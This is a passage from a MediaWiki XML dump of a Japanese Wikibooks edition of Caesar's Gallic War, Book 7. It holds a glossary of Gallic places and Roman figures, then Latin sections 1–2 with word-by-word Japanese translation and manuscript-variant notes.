**[[w:en:Vellaunodunum|Vellaunodunum]]（ウェッラウノドゥーヌム）- [[w:fr:Vellaunodunum|fr:Vellaunodunum]]；現在のモンタルジ（[[w:en:Montargis|Montargis]]）やボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）、シャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などと推定されている
**[[w:en:Vienne, Isère|Vienne, Isère]]（ヴィエンヌ；ラテン名ウィエンナ）- [[w:la:Vienna|la:Vienna]]
*'''ガッリアの地形'''
**Cevenna（ケウェンナ山地）：現在のセヴェンヌ山地（[[w:fr:Cévennes|fr:Cévennes]]・[[w:en:Cévennes|Cévennes]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Elaver|la:Elaver]]&lt;/span&gt;（エラウェル川）：現在の[[w:アリエ川|アリエ川]]（[[w:fr:Allier (rivière)|fr:Allier (rivière)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Liger|la:Liger]]&lt;/span&gt;（リゲル川）：現在の[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|fr:Loire (fleuve)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhenus|la:Rhenus]]&lt;/span&gt;（レヌス川）：現在の[[w:ライン川|ライン川]]（[[w:fr:Rhin|fr:Rhin]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhodanus|la:Rhodanus]]&lt;/span&gt;（ロダヌス川）：現在の[[w:ローヌ川|ローヌ川]]（[[w:fr:Rhône|fr:Rhône]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Sequana|la:Sequana]]&lt;/span&gt;（セクアナ川）：現在の[[w:セーヌ川|セーヌ川]]（[[w:fr:Seine|fr:Seine]]）

*ローマ勢
**[[w:en:Mark_Antony|Mark Antony]]（[[w:マルクス・アントニウス|マルクス・'''アントニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Marcus_Antonius|la:Marcus Antonius]]&lt;/span&gt;
**[[w:en:Decimus_Junius_Brutus_Albinus|Decimus Junius '''Brutus''' Albinus]]（[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ユニウス・'''ブルトゥス'''・アルビヌス]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/span&gt;（[[#9節|9節]]）
**[[w:en:Quintus Tullius Cicero|Quintus Tullius '''Cicero''']]（[[w:クィントゥス・トゥッリウス・キケロ|クィントゥス・トゥッリウス・'''キケロ''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Quintus Tullius Cicero|la:Quintus Tullius Cicero]]&lt;/span&gt;：カエサルの副官
**Gaius '''Fabius'''（ガイウス・'''ファビウス'''）：カエサルの副官
**[[w:en:Titus Labienus|Titus '''Labienus''']]（[[w:ティトゥス・ラビエヌス|ティトゥス・'''ラビエーヌス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Titus Labienus|la:Titus Labienus]]&lt;/span&gt;：カエサルの副官
**[[w:en:Trebonius|'''Trebonius''']]（[[w:ガイウス・トレボニウス|ガイウス・'''トレボニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gaius_Trebonius|la:Gaius Trebonius]]&lt;/span&gt;：カエサルの副官
**[[w:en:Lucius Julius Caesar IV|Lucius Julius '''Caesar''' IV]]（ルキウス・ユリウス・'''カエサル'''4世）：総督カエサルの副官で、4代前の高祖父を共有する。BC64年に執政官を務めた。

*イタリア方面
**[[w:en:Cisalpine_Gaul|Cisalpine Gaul]]（[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]） - [[w:la:Gallia Cisalpina|la:Gallia Cisalpina]]
**[[w:en:Populares|Populares]]（[[w:ポプラレス|ポプラレス]]；民衆派）- [[w:la:Populares|la:Populares]]
**:[[w:en:Publius_Clodius_Pulcher|Publius Clodius Pulcher]]（[[w:プブリウス・クロディウス・プルケル|プブリウス・クロディウス・プルケル]]） - [[w:la:Publius_Clodius_Pulcher|la:Publius Clodius Pulcher]]
**[[w:en:Optimates|Optimates]]（[[w:オプティマテス|オプティマテス]]；元老院派）
**:[[w:en:Cicero|Cicero]]（[[w:マルクス・トゥッリウス・キケロ|マルクス・トゥッリウス・キケロ]]）- [[w:la:Marcus_Tullius_Cicero|la:Marcus Tullius Cicero]]
**:[[w:en:Titus_Annius_Milo|Titus Annius Milo]]（ティトゥス・アンニウス・ミロ）- [[w:la:Titus_Annius_Milo|la:Titus Annius Milo]]
**:[[w:en:Pompey|Pompey]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）- [[w:la:Gnaeus_Pompeius_Magnus|la:Gnaeus Pompeius Magnus]]</text>
      <sha1>5907agxwa6bke9sls6yyqvfjr6ycgb5</sha1>
    </revision>
    <revision>
      <id>305258</id>
      <parentid>305256</parentid>
      <timestamp>2026-11-01T08:12:09Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 36節 */ 訳注</comment>
      <origin>305258</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="562668" sha1="5t12bmdyd3sbijlxrgar65wfrboix6j" xml:space="preserve">[[Category:ガリア戦記|7]] [[Category:ガリア戦記 第7巻|*]]
[[ガリア戦記]]＞&amp;nbsp;'''第7巻'''&amp;nbsp;＞[[ガリア戦記 第7巻/注解|注解]]
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;span style=&quot;font-size:20px; font-weight:bold; font-variant-caps: petite-caps; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;C&amp;nbsp;IVLII&amp;nbsp;CAESARIS&amp;nbsp;COMMENTARIORVM&amp;nbsp;BELLI&amp;nbsp;GALLICI&amp;nbsp;&lt;/span&gt;

&lt;span style=&quot;font-size:40px; font-weight:bold; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;LIBER SEPTIMVS&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
[[画像:Gaule -52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]

{| id=&quot;toc&quot; style=&quot;align:left;clear:all;&quot; align=&quot;left&quot; cellpadding=&quot;5&quot;
! style=&quot;background:#ccccff; text-align:left;&quot; colspan=&quot;2&quot; | ガリア戦記 第7巻 目次
|-
| style=&quot;text-align:right; font-size: 0.86em;&quot;|
'''[[#カルヌーテース族の蜂起|カルヌーテース族の蜂起]]''':&lt;br /&gt;
'''[[#ウェルキンゲトリークスとガッリア同盟軍の蜂起|ウェルキンゲトリークスとガッリア同盟軍の蜂起]]''':&lt;br /&gt;
&lt;br /&gt;
'''[[#アウァーリクム攻略戦|アウァーリクム攻略戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ゲルゴウィア攻略戦、ハエドゥイー族の離反|ゲルゴウィア攻略戦、ハエドゥイー族の離反]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ラビエーヌスのルテティア遠征|ラビエーヌスのルテティア遠征]]''':&lt;br /&gt;
'''[[#ガッリア戦乱の拡大|ガッリア戦乱の拡大]]''':&lt;br /&gt;
'''[[#アレスィア攻囲戦|アレスィア攻囲戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ガッリア同盟軍主力の降伏|ガッリア同盟軍主力の降伏]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| style=&quot;text-align:left; font-size: 0.86em;&quot;| 
[[#1節|01節]] |
[[#2節|02節]] |
[[#3節|03節]] &lt;br /&gt;
[[#4節|04節]] |
[[#5節|05節]] |
[[#6節|06節]] |
[[#7節|07節]] |
[[#8節|08節]] |
[[#9節|09節]] |
[[#10節|10節]] &lt;br /&gt;
[[#11節|11節]] |
[[#12節|12節]] |
[[#13節|13節]] &lt;br /&gt;
[[#14節|14節]] |
[[#15節|15節]] |
[[#16節|16節]] |
[[#17節|17節]] |
[[#18節|18節]] |
[[#19節|19節]] |
[[#20節|20節]] &lt;br /&gt;
[[#21節|21節]] |
[[#22節|22節]] |
[[#23節|23節]] |
[[#24節|24節]] |
[[#25節|25節]] |
[[#26節|26節]] |
[[#27節|27節]] |
[[#28節|28節]] |
[[#29節|29節]] |
[[#30節|30節]] &lt;br /&gt;
[[#31節|31節]] &lt;br /&gt;
[[#32節|32節]] |
[[#33節|33節]] |
[[#34節|34節]] |
[[#35節|35節]] |
[[#36節|36節]] |
[[#37節|37節]] |
[[#38節|38節]] |
[[#39節|39節]] |
[[#40節|40節]] &lt;br /&gt;
[[#41節|41節]] |
[[#42節|42節]] |
[[#43節|43節]] |
[[#44節|44節]] |
[[#45節|45節]] |
[[#46節|46節]] |
[[#47節|47節]] |
[[#48節|48節]] |
[[#49節|49節]] |
[[#50節|50節]] &lt;br /&gt;
[[#51節|51節]] |
[[#52節|52節]] |
[[#53節|53節]] |
[[#54節|54節]] |
[[#55節|55節]] |
[[#56節|56節]] &lt;br /&gt;
[[#57節|57節]] |
[[#58節|58節]] |
[[#59節|59節]] |
[[#60節|60節]] |
[[#61節|61節]] |
[[#62節|62節]] &lt;br /&gt;
[[#63節|63節]] |
[[#64節|64節]] |
[[#65節|65節]] |
[[#66節|66節]] |
[[#67節|67節]] &lt;br /&gt;
[[#68節|68節]] |
[[#69節|69節]] |
[[#70節|70節]] &lt;br /&gt;
[[#71節|71節]] |
[[#72節|72節]] |
[[#73節|73節]] |
[[#74節|74節]] |
[[#75節|75節]] |
[[#76節|76節]] |
[[#77節|77節]] |
[[#78節|78節]] |
[[#79節|79節]] |
[[#80節|80節]] &lt;br /&gt;
[[#81節|81節]] |
[[#82節|82節]] |
[[#83節|83節]] |
[[#84節|84節]] |
[[#85節|85節]] |
[[#86節|86節]] |
[[#87節|87節]] |
[[#88節|88節]] &lt;br /&gt;
[[#89節|89節]] |
[[#90節|90節]] &lt;br /&gt;
[[#脚注|脚注]]&lt;br /&gt;
[[#参考リンク|参考リンク]]&lt;br /&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__

==カルヌーテース族の蜂起==
===1節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2025-10-26}}&lt;/span&gt;
[[画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クローディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。]]
[[画像:Pompei_Magnus_Antiquarium.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クローディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。]]
:　
;首都ローマの政情不安、ガッリア人領袖たちの謀計
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:quietus#Latin|Quieta]] [[wikt:en:Gallia#Latin|Gallia]], 
**[[w:ガリア|ガッリア]]が鎮定されると、
*Caesar, ut [[wikt:en:constituerat|constituerat]], 
**カエサルは、定めていたように、
*in [[wikt:en:Italia#Latin|Italiam]] ad [[wikt:en:conventus#Noun|conventus]] [[wikt:en:agendus#Latin|agendos]] [[wikt:en:proficiscitur|proficiscitur]]. 
**イタリアに、巡回裁判を行なうために出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、カエサルの属州であった&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]を指す。&lt;br&gt;　　　　カエサルは、巡回裁判を除けば、おもに[[w:ラヴェンナ|ラウェンナ]]に&lt;br&gt;　　　　滞在していたと考えられる。[[内乱記_第1巻#5節|『内乱記』第1巻5節]]を参照。）&lt;/span&gt;
:　
*[[wikt:en:ibi#Latin|Ibi]] [[wikt:en:cognoscit|cognoscit]] de &amp;lt;P.&amp;gt; [[wikt:en:Clodius#Latin|Clodii]] [[wikt:en:caedes#Latin|caede]], 
**そこで[[w:プブリウス・クロディウス・プルケル|プーブリウス・クローディウス]]の殺害について知って、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：クローディウスは護民官を務めた&lt;ruby&gt;&lt;rb&gt;[[w:ポプラレス|民衆派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ポプラレス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の政治家で、&lt;br&gt;　　　　カエサルから恩義を受けていた。&lt;br&gt;　　　　　かの弁論家[[w:マルクス・トゥッリウス・キケロ|キケロー]]やその友人ティトゥス・ミロー [[w:la:Titus_Annius_Milo|Milo]] ら&lt;br&gt;　　　　&lt;ruby&gt;&lt;rb&gt;[[w:オプティマテス|元老院派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプティマテス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; と激しく対立し、ミローの配下によって殺害された。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;P.&amp;gt; ([[wikt:en:Publius#Latin|Publii]]) 「プーブリウスの」は &amp;rho;系写本にのみ記されている。）&lt;/span&gt;
*&amp;lt;de&amp;gt; &lt;u&gt;senatus&lt;/u&gt;que &lt;u&gt;consulto&lt;/u&gt; [[wikt:en:certior#Latin|certior]] [[wikt:en:factus#Participle|factus]], ut omnes [[wikt:en:iunior#Latin|iuniores]] Italiae [[wikt:en:coniurarent|coniurarent]], 
**イタリアの全青年に&lt;small&gt;（新兵として）&lt;/small&gt;宣誓するようにとの元老院決議について知らされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この事態を収拾すべく元老院派の[[w:グナエウス・ポンペイウス|ポンペイウス]]が単独の執政官&lt;br&gt;　　　　（''[[w:de:Consul sine collega|consul sine collega]]''）に選任されて本土イタリアを掌握した。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;de&amp;gt; は現存する写本にはなく、近世以降に挿入提案されたもの。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;nbsp;　[[wikt:en:senatus_consultum#Latin|senātūs cōnsultum]] ([[wikt:en:ultimus#Latin|ultimum]]) 「[[w:セナトゥス・コンスルトゥム・ウルティムム|元老院(の最終)決議]]」&lt;br&gt;　　　； dē [[wikt:en:senatus_consulto#Latin|senātūs cōnsultō]] 「元老院決議について」）&lt;/span&gt;
*&lt;u&gt;dilectum&lt;/u&gt; [[wikt:en:totus#Latin|tota]] [[wikt:en:provincia#Latin|provincia]] habere [[wikt:en:instituo#Latin|instituit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;属州&lt;small&gt;〔ガッリア・キサルピーナ〕&lt;/small&gt;全体での徴集をすることを決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:dilectus#Noun|dilectum]] は、[[wikt:en:delectus#Noun_2|delectum]] と表記している校訂版もある。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eae res in Galliam [[wikt:en:transalpinus#Latin|Transalpinam]] celeriter [[wikt:en:perferuntur|perferuntur]]. 
**その状況は、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に速やかに報知された。
:　
*[[wikt:en:addunt|Addunt]] ipsi et [[wikt:en:adfingunt|adfingunt]] [[wikt:en:rumor#Latin|rumoribus]] [[wikt:en:Galli#Latin|Galli]], 
**[[w:ガリア人|ガッリア人]]たち自身が風評に想像して付け加えたのは、
*quod res [[wikt:en:poscere|poscere]] [[wikt:en:videbatur|videbatur]]: 
**事態が要求すると思われていたことで、
*[[wikt:en:retineri|retineri]] &lt;u&gt;urbano&lt;/u&gt; [[wikt:en:motus#Noun_2|motu]] Caesarem 
**カエサルは、都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の騒乱に束縛されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:urbanus#Adjective|urbānus]] は「都市の」「都会の」と訳されるが、&lt;br&gt;　　　　とりわけ「首都[[w:ローマ|ローマ市]]の」を意味する。）&lt;/span&gt;
*neque in [[wikt:en:tantus#Latin|tantis]] [[wikt:en:dissensio#Latin|dissensionibus]] ad [[wikt:en:exercitus#Noun|exercitum]] venire posse. 
**これほどの対立においては、軍隊のもとへ来ることができない、&lt;br&gt;ということである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hac [[wikt:en:impulsus#Participle|impulsi]] [[wikt:en:occasio#Latin|occasione]], 
**このような好機に刺激されて、
*qui iam ante se [[wikt:en:populus#Noun|populi]] Romani [[wikt:en:imperium#Latin|imperio]] [[wikt:en:subiectus#Latin|subiectos]] [[wikt:en:dolerent|dolerent]], 
**すでに以前から自分たちがローマ国民の支配に服属させられているのを悲嘆している者たちは、
*[[wikt:en:libere#Adverb_2|liberius]] atque [[wikt:en:audacter#Latin|audacius]] de bello [[wikt:en:consilium#Latin|consilia]] [[wikt:en:inire|inire]] [[wikt:en:incipiunt|incipiunt]]. 
**より自由に、かつ、より向こう見ずに、戦争について謀議に取りかかり始める。
:　
[[画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。]]
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indictus#Latin|Indictis]] inter se principes Galliae [[wikt:en:concilium#Latin|conciliis]] [[wikt:en:silvestris#Latin|silvestribus]] ac [[wikt:en:remotus#Latin|remotis]] locis 
**ガッリアの領袖たちは、森林や人里離れた場所での会合を互いに申し合わせて、
*[[wikt:en:queruntur|queruntur]] de [[wikt:en:Acco#Latin|Acconis]] [[wikt:en:mors#Latin|morte]]; 
**アッコーの死について嘆く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[ガリア戦記 第6巻#44節|第6巻44節]]を参照。）&lt;/span&gt;
*&lt;u&gt;posse&lt;/u&gt; hunc [[wikt:en:casus#Latin|casum]] ad ipsos [[wikt:en:recidere#Verb_4|recidere]] [[wikt:en:demonstrant#Latin|demonstrant]]; 
**彼&lt;small&gt;〔アッコー〕&lt;/small&gt;の結末が彼ら自身へ降りかかりうることを説く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:posse#Verb|posse]] の位置は、&lt;br&gt;　　　　&amp;alpha;系写本では hunc の前だが、&lt;br&gt;　　　　&amp;beta;系写本では hunc casum ad ipsos  recidere &lt;u&gt;posse&lt;/u&gt; demonstrant &lt;br&gt;　　　　となっている。）&lt;/span&gt;
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt;  [[wikt:en:miserantur|miserantur]] [[wikt:en:communis#Latin|communem]] Galliae [[wikt:en:fortuna#Latin|fortunam]]; 
**ガッリア共通の境遇をあわれむ。
*omnibus [[wikt:en:pollicitatio#Latin|pollicitationibus]] ac [[wikt:en:praemium#Latin|praemiis]] [[wikt:en:deposcunt|deposcunt]] 
**&lt;small&gt;（以下の者たちを）&lt;/small&gt;あらゆる約束と恩賞によって求める。
*qui [[wikt:en:bellum#Latin|belli]] &lt;u&gt;initia&lt;/u&gt; [[wikt:en:faciant|faciant]] et sui [[wikt:en:caput#Latin|capitis]] [[wikt:en:periculum#Latin|periculo]] Galliam in [[wikt:en:libertas#Latin|libertatem]] [[wikt:en:vindicent|vindicent]]. 
**戦端を開いて、自らを危険にさらしても、ガッリアを解放する者たちを。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ in libertatem vindicare；～を解放する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:initia#Latin|initia]] (複数形) だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:initium#Latin|initium]] (単数形) となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; In primis [[wikt:en:ratio#Latin|rationem]] esse [[wikt:en:habendus#Latin|habendam]] [[wikt:en:dicunt|dicunt]], 
**とりわけ、&lt;small&gt;（以下のような）&lt;/small&gt;方策を採るべきであると述べる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_primis#Latin|in primis]] は、[[wikt:en:inprimis#Adverb|
inprimis]] と表記している校訂版もある。）&lt;/span&gt;
*[[wikt:en:priusquam#Latin|prius quam]] eorum [[wikt:en:clandestinus#Latin|clandestina]] consilia [[wikt:en:efferantur|efferantur]], 
**彼らの秘密の計画が漏らされるより前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：反ローマの挙兵のはかりごとが漏れる前に）&lt;/span&gt;
*ut Caesar ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:intercludatur|intercludatur]]. 
**カエサルが軍隊から切り離されるように、と。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Id esse [[wikt:en:facilis#Latin|facile]], 
**それは容易なことである。
*quod neque legiones [[wikt:en:audeant|audeant]] [[wikt:en:absens#Latin|absente]] [[wikt:en:imperator#Latin|imperatore]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:egredi|egredi]], 
**というのは、[[w:ローマ軍団|諸軍団]]は将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のときにあえて冬営から出て行こうとはしないし、
*neque [[wikt:en:imperator#Latin|imperator]] sine [[wikt:en:praesidium#Latin|praesidio]] ad legiones [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:possit|possit]]. 
**将軍は護衛なしに諸軍団のところへ到着することはできないのだから。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:postremo#Adverb|Postremo]] in [[wikt:en:acies#Latin|acie]] &lt;u&gt;praestare&lt;/u&gt; [[wikt:en:interfici|interfici]], 
**結局のところ、戦列において討ち死にする方がましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:vetus#Latin|veterem]] belli [[wikt:en:gloria#Latin|gloriam]] [[wikt:en:libertas#Latin|libertatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; quam a [[wikt:en:maior#Noun|maioribus]] [[wikt:en:acceperint|acceperint]], [[wikt:en:recuperare#Latin|recuperare]].
**先祖から受け継いだかつての戦争の栄誉および自由を取り戻さないことよりは。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===2節===
[[画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/2節]]　{{進捗|00%|2025-11-05}}&lt;/span&gt;
;ガッリア諸部族の会合で、カルヌーテース族が開戦動議
:　　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:agitatus#Latin|agitatis]], 
**これらの事柄が論議されて、
*[[wikt:en:profiteor#Latin|profitentur]] [[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族の者が公言したことには、
*se [[wikt:en:nullus#Determiner|nullum]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:recusare#Latin|recusare]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全のためにはいかなる危険をも辞さない、
*[[wikt:en:princeps#Latin|principes]]&lt;nowiki&gt;que&lt;/nowiki&gt; ex omnibus bellum [[wikt:en:facturus#Latin|facturos]] [[wikt:en:pollicentur|pollicentur]]; 
**かつ&lt;small&gt;（ガッリア方）&lt;/small&gt;総勢の先鋒として戦争を遂行するであろうと約束する。
:　　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, [[wikt:en:quoniam#Latin|quoniam]] in [[wikt:en:praesentia#Noun|praesentia]] [[wikt:en:obses#Latin|obsidibus]] [[wikt:en:cavere#Verb_2|cavere]] inter se non [[wikt:en:possint|possint]], 
**目下のところ、人質により互いに保証し合うことはできなかったので、
*ne res [[wikt:en:efferatur|efferatur]], 
**事が漏らされないように、
*&lt;u&gt;ut&lt;/u&gt; [[wikt:en:ius_iurandum#Latin|iure iurando]] ac [[wikt:en:fides#Latin|fide]] [[wikt:en:sanciatur|sanciatur]], [[wikt:en:petunt|petunt]], 
**誓約と信義でもって批准するように求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本ST&lt;sup&gt;c&lt;/sup&gt; では ut だが、&lt;br&gt;　　　　　　　　　写本 T&lt;sup&gt;1&lt;/sup&gt;･&amp;rho;系では at 、&lt;br&gt;　　　　　　　　　写本BMLNV･&amp;chi;系では aut となっている。）&lt;/span&gt;
*[[wikt:en:conlatus#Latin|conlatis]] [[wikt:en:militaris#Adjective|militaribus]] [[wikt:en:signum#Latin|signis]], 
**軍旗が運び集められて、
*[[wikt:en:quo#Etymology_2_2|quo]] [[wikt:en:mos#Latin|more]] eorum [[wikt:en:gravissimus#Latin|gravissima]] [[wikt:en:caerimonia#Latin|caerimonia]] [[wikt:en:continetur|continetur]], 
**それは彼らの慣習で最も荘重な&lt;ruby&gt;&lt;rb&gt;神聖儀式&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;カエリモーニア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として保たれているのだが、
*ne [[wikt:en:factus#Latin|facto]] [[wikt:en:initium#Latin|initio]] belli ab reliquis [[wikt:en:deserantur|deserantur]]. 
**開戦したら、ほかの&lt;small&gt;（部族の）&lt;/small&gt;者たちから見放されないように、ということである。
:　&lt;!--　[[wikt:en:|　--&gt;　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Tum [[wikt:en:conlaudatus#Latin|conlaudatis]] [[wikt:en:Carnutes#Latin|Carnutibus]], 
**それから、カルヌーテース族が賞賛されて、
*[[wikt:en:datus#Participle|dato]] [[wikt:en:ius_iurandum#Latin|iure iurando]] ab omnibus, qui [[wikt:en:aderant|aderant]], 
**訪れていたすべての者たちによって誓約が交わされて、
*[[wikt:en:tempus#Latin|tempore]] eius rei [[wikt:en:constitutus#Participle|constituto]] 
**その事の時期を決定すると、
*ab [[wikt:en:concilium#Latin|concilio]] [[wikt:en:disceditur|disceditur]].
**&lt;small&gt;（ガッリアの領袖たちは）&lt;/small&gt;会合から立ち去る。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===3節===
